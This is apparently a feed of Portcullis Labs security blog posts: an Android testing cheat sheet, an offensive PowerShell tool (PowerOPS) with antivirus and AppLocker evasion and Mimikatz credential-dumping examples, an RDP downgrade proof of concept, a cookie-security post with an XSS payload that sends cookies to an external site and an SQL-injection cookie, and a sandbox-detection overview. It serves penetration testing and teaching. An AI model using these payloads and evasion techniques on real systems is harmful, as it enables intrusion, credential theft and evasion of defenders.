Portcullis Labs https://labs.portcullis.co.uk Research and Development en-US hourly 1 http://wordpress.org/?v=3.8.5 Android cheat sheet https://labs.portcullis.co.uk/blog/android-cheat-sheet/ https://labs.portcullis.co.uk/blog/android-cheat-sheet/#comments Fri, 07 Oct 2016 14:20:03 +0000 https://labs.portcullis.co.uk/?p=5533 At Portcullis, assessing Android applications is a frequent activity for us and we figured it would be helpful to assist others looking to get into the field of testing Android applications. To this end, we’ve compiled a cheat sheet below, it contains a number of commonly used ADB commands, as well as useful commands to […]

The post Android cheat sheet appeared first on Portcullis Labs.

]]>
At Portcullis, assessing Android applications is a frequent activity for us and we figured it would be helpful to assist others looking to get into the field of testing Android applications. To this end, we’ve compiled a cheat sheet below, it contains a number of commonly used ADB commands, as well as useful commands to assist in gathering information or performing less common tasks.

This particular cheat sheet has been written for use with Cheat so that it can be quickly looked up within a terminal.

# List installed packages
adb shell pm list packages | cut -d: -f2

# Get APK path to package
adb shell pm path com.xxxx.android

# Decompile APK package
apktool d <appname>

# Recompile APK package
apktool b <apkfolder> -o newapk.apk

# Decompile APK code (dex2jar)
d2j-dex2jar.sh someApk.apk

# Recompile APK code (jar2dex)
d2j-jar2dex.sh --output=classes.dex abc.jar

# Sign APK (note: debug keystore passphrase: android)
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -storepass android -keystore ~/testing/android/keys/debug.keystore <apkname> androiddebugkey

# Sign APK with d2j-apk-sign.sh
d2j-apk-sign.sh <apkname>
# Install APK (use -r to reinstall)
adb install <apkname>

# Uninstall APK (often required)
adb uninstall <apkname>

# Install Burp CA on device
Grab Burp CA
Change extension from .der to .crt
push certificate to /storage/sdcard
Import from SDCARD via settings

# Logcat filter by package
adb logcat | grep `adb shell ps | grep co.uk.xxxx.xxxx | cut -c10-15`

# View x509 certificate information
openssl x509 -in <certfile> -text -noout

# View x509 certificate modulus (often checked by pinning)
openssl x509 -modulus -inform DER -in cacert.der

# Load keystore (BKS)
keytool -list -v -keystore <bksfile> -provider org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath /usr/local/bin/bcprov-ext-jdk15on-1.46.jar -storetype BKS -storepass <password>

# Add CA to keystore (BKS)
keytool -importcert -v -trustcacerts -file "burp_ca.crt" -alias burp_ca -keystore <bksfile> -provider org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath "/usr/local/bin/bcprov-ext-jdk15on-1.46.jar" -storetype BKS -storepass <password>

# Dump to logcat Smali (with tag DBG)
const-string v1, "DBG"
invoke-static {v1, v0}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I

# Wait for debugger Smali
invoke-static {}, Landroid/os/Debug;->waitForDebugger()V

# Return true/false Smali
const/4 v0, 0x0
return v0

# Remount Android filesystem as r/w
mount -o rw,remount,rw /system

# Adb pull folder
adb shell find "/data/data/com.xxxx.xxx" | tr -d '\015' | while read line; do adb pull $line; done;

# Adb pull file
adb pull /data/app/com.xxxx.xxxx/base.apk

# Launch android emulator with proxy support (Burp)
emulator -avd ChallengeApp -http-proxy http://127.0.0.1:8081 -scale 0.4

# Launch android emulator with ANDROID_ID not null (sometimes used for rooted detection)
emulator -avd jbx86 -prop emu.uuid=5ec33f90-a471-11e2-9e96-0800200c9a66

# Capture screenshot (regardless of whether activity ACLs prevent them) (requires root)
/system/bin/screencap -p /storage/sdcard/screenshot.png

# Show listening debug ports
adb jdwp

# Debug with jdb
adb forward tcp:<port> jdwp:<port>
jdb -attach localhost:<port>

# Debug with rlwrapped jdb (use this one!)
adb forward tcp:<port> jdwp:<port>
rlwrap-jdb jdb -attach localhost:<port>

# Launch android emu menu
android avd ChallengeApp -scale 0.4

# Open shell to emulator/device
adb shell

# List devices
adb devices

# Target specific device when using multiple devices
adb -s <devicename> <command>

# Uninstall via intent (within emu)
adb shell am start -a android.intent.action.DELETE -d package:<your app package>

# Launch logcat GUI/sysmon
cd /home/xxxx/tools/android-sdk-linux/tools; monitor

# Launch logcat terminal
adb logcat

# Generate debug keystore
keytool -genkeypair -keyalg RSA -alias androiddebugkey -keypass android -keystore debug.keystore -storepass android -dname "CN=Android Debug,O=Android,C=US" -validity 9999

# List keystore aliases
keytool -keystore debug.keystore -list -v

# SQLite3 database management:
sqlite3 <database>
.schema

# Get ANDROID_ID of device
adb shell content query --uri content://settings/secure/android_id --projection value

# Drozer commands
 # Install agent
 adb install drozer-agent-2.3.4.apk
 # Forward drozer port
 adb forward tcp:31415 tcp:31415
 # Connect
 drozer console --server 127.0.0.1:31415 connect
 # Get APK info
 run app.package.info -a <apkname>
 # Identify attack surface
 run app.package.attacksurface <apkname>
 # List activities
 run app.activity.info -a <apkname>

# Launch activity (in adb shell)(run as root if activity not exported)
adb shell am start -a android.intent.action.MAIN -n <activityname>

# Enable developer mode
Settings > About > Tap build number 7 times

# Query content provider
adb shell content query --uri content://url/username

# Bypass operation not permitted error when moving su binaries (Kingroot specific)
chattr -a su

# Boot into fastboot mode
adb reboot bootloader

# Run adb as root (not supported in production build)
adb root

# Run adb as root (alt)
adb kill-server; sudo $(whereis adb) start-server

# Compile and execute Java
public class HelloWorld {
 public static void main(String[] args) {
 System.out.println("Hello, World");
 }
}
javac HelloWorld.java
java HelloWorld

# Use Android Studio for smali source-level debugging
 Prerequisite: Install Android Studio.
 Prerequisite: Install 'smalidea' plugin from https://github.com/JesusFreke/smali/wiki/smalidea
 Prerequisite: Install APK as 'debuggable'=true.  You may have to patch the AndroidManifest in the APK for this.
 Step 1: Import the APK smali into Android Studio:
 Use Baksmali to dump APK smali into a source directory:
   <em>baksmali foobar.apk -o ~/tests/12345678ABC/project/src</em>
 Run Android Studio, select "Import Project" and select project directory (e.g. ~/tests/12345678ABC/project)
 For the import, choose "Create project from existing sources"
 Once created/imported in Android Studio, find the above 'src' directory in the 'Project' sub-view of the 'Project' pane.
 Right-click on the 'src' directory and select "Mark Directory As -> Sources Root"
 Navigate around the source, and set breakpoints where necessary.
 Step 2: Debug the APK
 Set the app to wait for the debugger when it runs:
   <em>adb shell am set-debug-app -w com.example.packagename</em>
 Launch the APK on the device (you should see 'waiting for debugger' pop-up)
 Run Android Monitor (monitor), click on the debuggable app in the 'Devices' pane, and note the local port number
   (local port number is usually 8700, shown in the last column such as '86XX / 8700')
   Leave monitor running, as it maintains the necessary port forwarding
 Create a 'Remote' debug configuration in Android Studio and set the localhost port to '8700' (or whatever found previously)
 Start the debug session in Android Studio with the newly created 'Remote' configuration.
 The 'Waiting For Debugger' pop-up should disappear on the device, and the debugger should hit any breakpoints set.
 Note - memory and registers (v0 etc) can be examined/modified in the 'Watches' window in Android Studio.

# Manage SDK/API settings
android

Notes:
 Applications storage path: /data/app/
 Data storage path: /data/data/<apkname> and /sdcard/Android/data/<apkname>
 SDCard: /storage/sdcard
 Pentesting Android 101: http://www.yap0wnb.com/2014_02_01_archive.html
 Android secure coding guidelines: https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=111509535

The post Android cheat sheet appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/android-cheat-sheet/feed/ 0
PowerOPS: PowerShell for Offensive Operations https://labs.portcullis.co.uk/blog/powerops-powershell-for-offensive-operations/ https://labs.portcullis.co.uk/blog/powerops-powershell-for-offensive-operations/#comments Fri, 03 Jun 2016 12:17:41 +0000 https://labs.portcullis.co.uk/?p=5467 At Portcullis, one of the most frequent assessments we perform are breakouts. One of the main challenges we face during these assessments is to get command execution that can either help escalate our privileges or allow us to gain access to different systems on the network. Sometimes we find harsh group policy restrictions in place […]

The post PowerOPS: PowerShell for Offensive Operations appeared first on Portcullis Labs.

]]>
At Portcullis, one of the most frequent assessments we perform are breakouts. One of the main challenges we face during these assessments is to get command execution that can either help escalate our privileges or allow us to gain access to different systems on the network.

Sometimes we find harsh group policy restrictions in place that block access to the Windows Command Prompt, PowerShell, among others. These, however, are not always properly implemented, i.e. they do not block access to all executables (and allow only certain programs to run).

After getting command execution, we want to attack other systems on the network. However it isn’t always easy to get a flexible toolbox in the system that allow us to gather information and launch further attacks. PowerShell is our preferred post-exploitation language and powershell.exe access is usually blocked (as .ps1 scripts). However since the block is often incorrectly implemented, i.e. the DLLs used by PowerShell aren’t usually blocked, this can open some doors. On top of that some AVs started implementing some basic signatures that will pick some well known PowerShell scripts. The bypass is trivial but we want to be as stealthy as possible and it still delay us a bit.

How can we bypass some of these “security mitigations” and speed up our tests? PowerOPS is an application written in C# that does not rely on powershell.exe but runs PowerShell commands and functions within a PowerShell runspace environment (.NET). Besides this, it includes multiple offensive PowerShell modules to make the process of post-exploitation easier.

It tries to follow the KISS principle, being as simple as possible. The main goal is to make it easy to use PowerShell offensively and help to evade anti-virus and other mitigations.

To do this, it:

  • Doesn’t rely on powershell.exe, it calls PowerShell directly through the .NET framework, which might help bypassing security controls like GPO, SRP and App Locker
  • Powershell functions within the Runspace are loaded in memory from Base64 Encoded Strings and never touch disk, evading most antivirus engines

What’s inside the runspace?

PowerShellMafia/Powersploit

  • Get-Keystrokes
  • Invoke-DllInjection
  • Invoke-Mimikatz
  • Invoke-NinjaCopy
  • Invoke-Shellcode
  • Invoke-ReflectivePEInjection
  • Invoke-TokenManipulation
  • Invoke-WMICommand
  • PowerUp
  • PowerView

Nishang

  • Get-Information
  • Get-PassHashes
  • Port-Scan

Auto-GPPPassword

PowerCat

Get-ProductKey

Empire

  • Invoke-Psexec
  • Invoke-SSHCommand

Additionally you can run any valid PowerShell command.

Where to get it?

The source code is available at GitHub.

How to compile it

To compile PowerOPS you need to import this project within Microsoft Visual Studio or if you don’t have access to a Visual Studio installation, you can compile it as follows:

To compile it as an x86 binary:

C:\> cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 (Or newer .NET version folder)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\> csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PowerOPS_x86.exe /platform:x86 "C:\path\to\PowerOPS\PowerOPS\*.cs"

To compile it as an x64 binary:

C:\> cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 (Or newer .NET version folder)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\> csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PowerOPS_x64.exe /platform:x64 "C:\path\to\PowerOPS\PowerOPS\*.cs"

PowerOPS uses the System.Management.Automation namespace, so make sure you have the System.Management.Automation.dll within your source path when compiling outside of Visual Studio.

How to use it

Just run the binary and type show to list available modules.

PS > show

[-] This computer is not part of a Domain! Some functions will not work!

[+] Nishang

 Get-Information    Get-PassHashes             Port-Scan

[+] PowerSploit

 Get-KeyStrokes     Invoke-DllInjection        Invoke-Mimikatz     Invoke-NinjaCopy
 Invoke-Shellcode   Invoke-TokenManipulation   Invoke-WmiCommand   Invoke-ReflectivePEInjection
 PowerView          PowerUp

[+] Empire

 Invoke-PsExec      Invoke-SSHCommand

[+] Others

 Auto-GPPPassword   Get-ProductKey             PowerCat

PS >

PowerUp and PowerView are loaded as modules, so Get-Command -module will show you all available functions.

PS > get-command -module powerup

CommandType     Name                                               ModuleName
-----------     ----                                               ----------
Function        Find-DLLHijack                                     PowerUp
Function        Find-PathHijack                                    PowerUp
Function        Get-ApplicationHost                                PowerUp
Function        Get-ModifiableFile                                 PowerUp
Function        Get-RegAlwaysInstallElevated                       PowerUp
Function        Get-RegAutoLogon                                   PowerUp
Function        Get-ServiceDetail                                  PowerUp
Function        Get-ServiceFilePermission                          PowerUp
Function        Get-ServicePermission                              PowerUp
Function        Get-ServiceUnquoted                                PowerUp
Function        Get-UnattendedInstallFile                          PowerUp
Function        Get-VulnAutoRun                                    PowerUp
Function        Get-VulnSchTask                                    PowerUp
Function        Get-Webconfig                                      PowerUp
Function        Install-ServiceBinary                              PowerUp
Function        Invoke-AllChecks                                   PowerUp
Function        Invoke-ServiceAbuse                                PowerUp
Function        Invoke-ServiceDisable                              PowerUp
Function        Invoke-ServiceEnable                               PowerUp
Function        Invoke-ServiceStart                                PowerUp
Function        Invoke-ServiceStop                                 PowerUp
Function        Restore-ServiceBinary                              PowerUp
Function        Test-ServiceDaclPermission                         PowerUp
Function        Write-HijackDll                                    PowerUp
Function        Write-ServiceBinary                                PowerUp
Function        Write-UserAddMSI                                   PowerUp

PS >

All your PowerShell fu applies. PowerOPS is basically a PowerShell shell with some modules/functions pre-loaded. So Get-Help is your friend and will help you to understand how the modules can be used.

Let’s say you want to see examples on how to use Invoke-Mimikatz.

PS > Get-Help Invoke-Mimikatz -examples

NAME
    Invoke-Mimikatz

SYNOPSIS
    This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to
    reflectively load Mimikatz completely in memory. This allows you to do
    things such as
    dump credentials without ever writing the mimikatz binary to disk.
    The script has a ComputerName parameter which allows it to be executed
    against multiple computers.

    This script should be able to dump credentials from any version of Windows
    through Windows 8.1 that has PowerShell v2 or higher installed.

    Function: Invoke-Mimikatz
    Author: Joe Bialek, Twitter: @JosephBialek
    Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog:
    http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter
    @gentilkiwi
    License:  http://creativecommons.org/licenses/by/3.0/fr/
    Required Dependencies: Mimikatz (included)
    Optional Dependencies: None
    Version: 1.5
    ReflectivePEInjection version: 1.1
    Mimikatz version: 2.0 alpha (2/16/2015)

    -------------------------- EXAMPLE 1 --------------------------

    C:\PS>Execute mimikatz on the local computer to dump certificates.


    Invoke-Mimikatz -DumpCerts


    -------------------------- EXAMPLE 2 --------------------------

    C:\PS>Execute mimikatz on two remote computers to dump credentials.


    Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2")


    -------------------------- EXAMPLE 3 --------------------------

    C:\PS>Execute mimikatz on a remote computer with the custom command
    "privilege::debug exit" which simply requests debug privilege and exits


    Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1"


PS >

Or simply look at the whole help available for Invoke-DllInjection.

PS > Get-Help Invoke-DllInjection -full

NAME
    Invoke-DllInjection

SYNOPSIS
    Injects a Dll into the process ID of your choosing.

    PowerSploit Function: Invoke-DllInjection
    Author: Matthew Graeber (@mattifestation)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None

SYNTAX
    Invoke-DllInjection [-ProcessID] <Int32> [-Dll] <String>
    [<CommonParameters>]


DESCRIPTION
    Invoke-DllInjection injects a Dll into an arbitrary process.


PARAMETERS
    -ProcessID <Int32>
        Process ID of the process you want to inject a Dll into.

        Required?                    true
        Position?                    1
        Default value                0
        Accept pipeline input?       false
        Accept wildcard characters?  false

    -Dll <String>
        Name of the dll to inject. This can be an absolute or relative path.

        Required?                    true
        Position?                    2
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?  false

    <CommonParameters>
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer, PipelineVariable, and OutVariable. For more information, see
        about_CommonParameters (http://go.microsoft.com/fwlink/?LinkID=113216).

INPUTS

OUTPUTS

NOTES
        Use the '-Verbose' option to print detailed information.

    -------------------------- EXAMPLE 1 --------------------------

    C:\PS>Invoke-DllInjection -ProcessID 4274 -Dll evil.dll


    Description
    -----------
    Inject 'evil.dll' into process ID 4274.

RELATED LINKS

http://www.exploit-monday.com

PS >

You can play around with the output…

PS > get-productkey

OSDescription        Computername        OSVersion           ProductKey
-------------        ------------        ---------           ----------
Microsoft Windows... VISUALSTUDIO        6.1.7601            ABCDE-54321-UVXY...



PS > get-productkey | format-list


OSDescription : Microsoft Windows 7 Professional N
Computername  : VISUALSTUDIO
OSVersion     : 6.1.7601
ProductKey    : ABCDE-54321-UVXYZ-12345-LMNOP

Save the output of your commands the way you want…

PS > invoke-allchecks | Out-File -Encoding ascii powerup.output.txt

PS > type powerup.output.txt

[*] Running Invoke-AllChecks

[*] Checking if user is in a local group with administrative privileges...
[+] User is in a local group that grants administrative privileges!
[+] Run a BypassUAC attack to elevate privileges to admin.

[*] Checking for unquoted service paths...

[*] Checking service executable and argument permissions...

[*] Checking service permissions...

[*] Checking %PATH% for potentially hijackable .dll locations...

[*] Checking for AlwaysInstallElevated registry key...

[*] Checking for Autologon credentials in registry...

[*] Checking for vulnerable registry autoruns and configs...

[*] Checking for vulnerable schtask files/configs...

[*] Checking for unattended install files...

[*] Checking for encrypted web.config strings...

[*] Checking for encrypted application pool and virtual directory passwords...

PS >

Do some math…

PS > $a=1

PS > $b=4

PS > $c=$a+$b

PS > echo $c
5

Browse the file system…

PS > cd c:\

PS > ls

    Directory: C:\

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----        14/02/2016     17:21            bin
d----        17/02/2016     15:02            Dev-Cpp
d----        14/07/2009     04:20            PerfLogs
d-r--        26/04/2016     20:00            Program Files
d-r--        26/04/2016     20:00            Program Files (x86)
d----        19/02/2016     21:06            Python27
d-r--        26/11/2015     17:20            Users
d----        12/05/2016     15:53            Windows
-a---        19/03/2010     23:55    2073703 VS_EXPBSLN_x64_enu.CAB
-a---        19/03/2010     23:58     551424 VS_EXPBSLN_x64_enu.MSI

PS > pwd

Path
----
C:\

PS >

And so on…

PowerShell v5 is coming with some new security features that will certainly affect some of the payloads contained in PowerOPS, so further development is expected as well as addition of new attack modules.

AppLocker bypass

PowerOPS includes the InstallUtil AppLocker bypass technique from Casey Smith. To make use of it run as shown below:

C:\> cd \Windows\Microsoft.NET\Framework\v4.0.30319 (Or newer .NET version folder)
C:\Windows\Microsoft.NET\Framework\v4.0.30319\> InstallUtil.exe /logfile= /LogToConsole=false /U C:\path\to\PowerOPS.exe

Credits

PowerOPS was inspired by Cn33liz/p0wnedShell, and basically consists of work from Nikhil Mittal of Nishang, mattifiestation of PowerSploit and sixdub, engima0x3 and harmj0y of Empire.

The post PowerOPS: PowerShell for Offensive Operations appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/powerops-powershell-for-offensive-operations/feed/ 0
Downgrading RDP connections and how to avoid it https://labs.portcullis.co.uk/blog/downgrading-rdp-connections-and-how-to-avoid-it/ https://labs.portcullis.co.uk/blog/downgrading-rdp-connections-and-how-to-avoid-it/#comments Fri, 22 Apr 2016 15:18:17 +0000 https://labs.portcullis.co.uk/?p=1488 This post describes how Remote Desktop Protocol (RDP) connections can be vulnerable to a downgrade attack if Terminal Servers are configured insecurely. We’re not aware of this issue being discussed before – googling only found pages about installing an earlier version of the RDP client, not about downgrading the protocol in the way described here. […]

The post Downgrading RDP connections and how to avoid it appeared first on Portcullis Labs.

]]>
This post describes how Remote Desktop Protocol (RDP) connections can be vulnerable to a downgrade attack if Terminal Servers are configured insecurely.

We’re not aware of this issue being discussed before – googling only found pages about installing an earlier version of the RDP client, not about downgrading the protocol in the way described here.  We suspect that it’s a known limitation of the protocol.  But it’s one that we though would be interesting to post about.

In this post we provide a demonstration of such a downgrade attack using the aptly named PoC tool rdp-downgrade.py.

RDP Security Layer

Before discussing the downgrade attack, we should outline what we’ll be downgrading from and to.

The following Security Layers are available in the RDP protocol. Support for each can be configured on the Terminal Server:

  • Classic RDP Protocol - this is known as “RDP Security Layer” in the tscc.msc configuration tool and PROTOCOL_RDP in the protocol specification (see page 40 of PDF)
  • SSL - this is labelled “SSL” or “SSL (TLS 1.0)” in the GUI and called PROTOCOL_SSL in the protocol specification
  • CredSSP - this is what you get when you check the ”Network Layer Authentication” box. It also uses uses SSL. It is called PROTOCOL_HYBRID in protocol specification

The first option is the insecure one. If this protocol were to be negotiated, the connection would be vulnerable to a well known “Man-In-The-Middle” attack.  Essentially, someone carrying out this attack would be able to see all your key strokes and any other data passed between client and server. This will therefore be the protocol we’ll be downgrading to.

The last two options are both SSL-wrapped and are more secure.  It will be these protocols that we’ll be downgrading from.

How to tell which security layer you connected with

The various warnings displayed by the Terminal Services client, mstsc.exe can be used as a crude way to identify which protocol is being used.

Classic RDP

Note that the warning message about not being able to authenticate the server tallies with the MiTM attack described above.

classic-rdp
image-1489

Warning For Classic RDP Connections

SSL

Unless you’ve configured your host to trust the SSL certificate of the RDP server, you’ll see a certificate warning like this one:

ssl-warning
image-1490

Warning for (Non-CredSSP) SSL Connections

CredSSP (NLA + SSL)

You get prompted for your username and password by a pop-up window – whereas Classic RDP and SSL both use a full Windows Desktop for password entry.

gaejegba
image-1491

Dialogue Box For NLA Connections

Vulnerable configuration

Terminal Servers set to negotiate their Security Layer are potentially vulnerable to a downgrade attack. Here we view the settings on a Windows 2003 server, but this also holds for newer versions of Windows:

2003-rdp-setting-vulnerable
image-1492

The downgrade attack

We will connect to a Windows 2003 RDP server configured to “Negotiate” its Security Layer.  We’ll connect from a modern windows system that supports Classic RDP, SSL and NLA. This server only supports Classic RDP and SSL. As we’d hope, the two will normally negotiate the most secure option supported by both: SSL.

During this attack we will modify network traffic to make the server believe the client only supports Classic RDP. We could intercept traffic using ARP-poisoning or DNS spoofing or some other method.

After connecting to TCP port 3389, the client (mstsc) sends data similar to the following (shown in hex):

03 00 00 13 0e e0 00 00 00 00 00 01 00 08 00 *03* 00 00 00

The 03 is the protocols supported by the client. Several values are possible in this position:

  • 00 – Only Classic RDP is supported
  • 01 – SSL is supported in addition to Classic RDP.
  • 03 – CredSSP is supported in addition to the other two protocols.

This is described on page 37 of the protocol specification.

So our proof-of-concept simply replaces the 03 with 00 to cause the client and server to negotiate Classic RDP instead of SSL.

We set our tool listening on 192.168.190.170 on TCP port 3389. We instruct it to forward traffic to 192.168.2.96.

$ python rdp-downgrade.py 192.168.2.96
[Proxy] Listening for connections on 0.0.0.0:3389

Rather than actually doing ARP-spoofing, I just connect directly to the “Man-In-The-Middle” in this demo:

rdp-attack-prior-to-logon
image-1493

Attacker IP Address Is Entered

Back in our PoC tool, we then see an incoming connection from the RDP client (192.168.190.1) and the proxy making an outgoing connection to the target server:

[Proxy] Incoming connection from 192.168.190.1:58715
[Proxy] New outgoing request to 192.168.2.96:3389
[Proxy] Connected

Next we see 19 bytes from the client – note the 03 near the end of the data from the client. This is recognised by our PoC tool and it prints a message to inform us the 03 has been changed to 00:

[From 192.168.190.1] Received 19 bytes
0000 03 00 00 13 0E E0 00 00 00 00 00 01 00 08 00 03 ................
0010 00 00 00 ...
[From 192.168.190.1] Modified data to downgrade connection

Then we see traffic flow freely without further modification:

[From 192.168.2.96] Received 19 bytes
0000 03 00 00 13 0E D0 00 00 12 34 00 02 00 08 00 00 .........4......
0010 00 00 00 ...
...snip...

mstsc shows us the warning message corresponding to a Classic RDP connection, proving that the downgrade has been successful – remember that we would normally expect a certificate warning for the SSL-wrapped RDP connection.

classic-rdp
image-1489

Warning Message For Classic RDP Connection

Conclusion

Configuring the Terminal Server to use SSL for it security layer instead of “Negotiate” prevents such a downgrade attack.

Vendor contact

We were not sure if Microsoft would consider this worthy of a security advisory. We didn’t think so, but sent them a preview of this post before publishing and asked.

Microsoft who responded swiftly to confirm that “After researching the issue, we consider this behavior to be By Design”. They thanked us for our commitment to co-ordinated disclosure and gave their blessing to proceed with publication.

The post Downgrading RDP connections and how to avoid it appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/downgrading-rdp-connections-and-how-to-avoid-it/feed/ 0
Keep your cookies safe (part 1) https://labs.portcullis.co.uk/blog/keep-your-cookies-safe-part-1/ https://labs.portcullis.co.uk/blog/keep-your-cookies-safe-part-1/#comments Fri, 22 Apr 2016 15:03:32 +0000 https://labs.portcullis.co.uk/?p=3605 What are cookies and why are they important? A cookie is a small piece of data sent from a website and stored in a user’s web browser and is subsequently includes with all authenticated requests that belong to that session. Some cookies contain the user session data in a website, which is vital. Others cookies […]

The post Keep your cookies safe (part 1) appeared first on Portcullis Labs.

]]>
What are cookies and why are they important?

A cookie is a small piece of data sent from a website and stored in a user’s web browser and is subsequently includes with all authenticated requests that belong to that session. Some cookies contain the user session data in a website, which is vital. Others cookies are used for tracking long-term records of an individuals browsing history and preferences such as their preferred language. Sometimes they are also used for tracking and monitoring a user’s activities across different websites.

Due to the fact that HTTP is a stateless protocol, the website needs a way to authenticate the user in each request. Every time the user visits a new page within a website, the browser sends the users cookie back to the server, allowing the server to serve the correct data to that individual user, which is tracked using a session ID. Cookies therefore play an integral part in ensuring persistence of data used across multiple HTTP requests throughout the time a user visits a website.

What does a cookie look like?

Set-Cookie: __cfduid=d8a3ae94f81234321; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.domain.com; HttpOnly

The cookie below is an example of a common cookie generated for WordPress. Here we break down each part of the cookie and explain what it is used for:

  • Set-Cookie – the web server asks the browser to save the cookie with this command
  • __cfduid=d8a3ae94f81234321;: This is the cookie itself. At the left of the equals symbol is the name of the cookie and to the right is its value
  • expires=Mon, 23-Dec-2019 23:50:00 GMT; – this is the date and time when the cookie will expire
  • path=/; domain=.domain.com; – the cookie domain and path define the scope of the cookie. They tell the browser that cookies should only be sent back to the server for the given domain and path
  • HttpOnly – this attribute (without a value associated) tells the browser that JavaScript cannot be used to access the cookie, which must only be accessed through HTTP or HTTPS. Sometimes you will also see the attribute “Secure”, which prevents the cookie being sent over the unencrypted HTTP protocol (i.e. the cookie will only be transmitted over HTTPS)

What is the impact of having your cookies compromised?

A traditional and important role of a cookie is to store a users session ID, which is used to identify a user. If this type of cookie is stolen by a malicious user, they would be able to gain access to website as the user for which the cookie belonged to (i.e. the malicoius user would have access to your account within the website).

In the case of the tracking cookie, the malicious user would have access to your browsing history for the website.

Another problem arises when sensitive data is stored in cookies, for example a username, and this is also a vector for server side exploitation if its contents are not properly validated, which can potentially lead to serious vulnerabilties such as SQL Injection or remote code execution.

What are the main cookie threats?

cookie monster image

Cookie Monster.

There are different attacking vectors in which obtaining and modifying cookies can occur, leading to session hijacking of an authenticated user session, or even SQL injection attacks against the server. These threats may take place when an attacker takes control of the web browser using Cross-site Scripting, or Spyware, in order to obtain a users SessionID cookie that can then be used by an attacker to impersonate the legitimate user, as shown in the following example:

Obtaining access to the cookie can be as easy as using the following JavaScript line:

document.cookie

Imagine that the website has a search form that is vulnerable to Cross-site Scripting (Reflective Cross-site Scripting in this case).


http://myweb.com/form.php?search=XSS_PAYLOAD_HERE

An attacker could use the following payload to send the cookie to an external website:

&lt;script&gt;location.href='http://external_website.com/cookiemonster.php?c00kie='+escape(document.cookie);&lt;/script&gt;

The final step would be to send the vulnerable link to an admin and wait for them to click on it. If the attacker uses an URL shortener, this allows for further obfuscation of the malicous URL, as the admin will be unable to see the content of the link they have been sent.

An attacker able to read files from a given user may also attempt to retrieve the cookies stored in files from a system. Furthermore some browsers store persistent cookies in a binary file that is easily readable with existing public tools.

Security weaknesses may also reside server side when cookies are modified, if input validation routines are not adequately implemented. The example below shows how to bypass the authentication process:

//In /core/user.php: (cs cart vulnerability)

if (fn_get_cookie(AREA_NAME . '_user_id')) {
 $udata = db_get_row("SELECT user_id, user_type, tax_exempt, last_login, membership_status, membership_id FROM $db_tables[users]
 WHERE user_id='".fn_get_cookies(AREA_NAME . '_user_id')."' AND password='".fn_get_cookie(AREA_NAME . '_password')."'");
 fn_define('LOGGED_VIA_COOKIE', true);

}

//Cookie: cs_cookies[customer_user_id]=1'/*;

For their role, cookies are really important and may be used in different attacks.

Now that you are more aware of the dangers, it would be wise to ensure steps are taken to deploy website cookies safely and securely. Look out for the second part of this post!

The post Keep your cookies safe (part 1) appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/keep-your-cookies-safe-part-1/feed/ 0
Sandbox detection: Pafish overview https://labs.portcullis.co.uk/blog/sandbox-detection-pafish-overview/ https://labs.portcullis.co.uk/blog/sandbox-detection-pafish-overview/#comments Mon, 14 Mar 2016 20:15:03 +0000 https://labs.portcullis.co.uk/?p=5415 Here at Portcullis, we are frequently involved in “red team” exercises, which means we subject an organisation’s information security systems to rigorous testing and analysis. The opposite of a red team is a “blue team”. A blue team attempts to identify and stop the red team from compromising systems. One of the techniques used when […]

The post Sandbox detection: Pafish overview appeared first on Portcullis Labs.

]]>
Here at Portcullis, we are frequently involved in “red team” exercises, which means we subject an organisation’s information security systems to rigorous testing and analysis. The opposite of a red team is a “blue team”. A blue team attempts to identify and stop the red team from compromising systems. One of the techniques used when red teaming is to write malicious code to test the security systems of our clients. One of the issues we face resides in the fact that we need to bypass sandbox systems that analyse our files in real-time to identify if the potentially malicious file should be blocked and Indicators Of Compromise (IOCs) generated or if the files are benign and safe. At the same time, blue teams that catch our files will try to reverse engineer them in order to understand how we may be compromising systems. Even though the last point is not really relevant for us (ultimately we’re not the bad guys), the first point is.

In order to be able to mitigate this issue, our code needs to be able to detect if it is being run inside a debugger, a Virtual Machine (VM) or a sandbox. There are some well known open source projects that are able to achieve this that are often used by malware writers. One of the most well known is called Pafish, Paranoid Fish, the code for which can be found in the Pafish GitHub repo. So I decided to take a look at the code and go through all the tricks Pafish has in order to assess if they should be incorporated in to our exercises. If our code is running inside a debugger, VM or sandbox it should deviate from it’s original path and do something legitimate or terminate immediately. If it isn’t running in any of these environments it should run it’s malicious code and infect the system.

Pafish is written in C and can be built with MinGW (gcc + make) as it says on its official GitHub web site.

To build pafish you will basically need to install mingw-w64 and make. After unziping the Pafish source code, we can see the project source has different source code files, each one used for different detection purposes.

  • Detect a debugger: debuggers.c
  • Detect a sandbox: gensandbox.c
  • Detect hooked functions: hooks.c
  • Detect VirtualBox: vbox.c
  • Detect VMWare: vmware.c
  • Detect Qemu: qemu.c
  • Detect Bochs: bochs.c
  • Detect Cuckoo: cuckoo.c
  • Detect Sandboxie: sandboxie.c
  • Detect Wine: wine.c

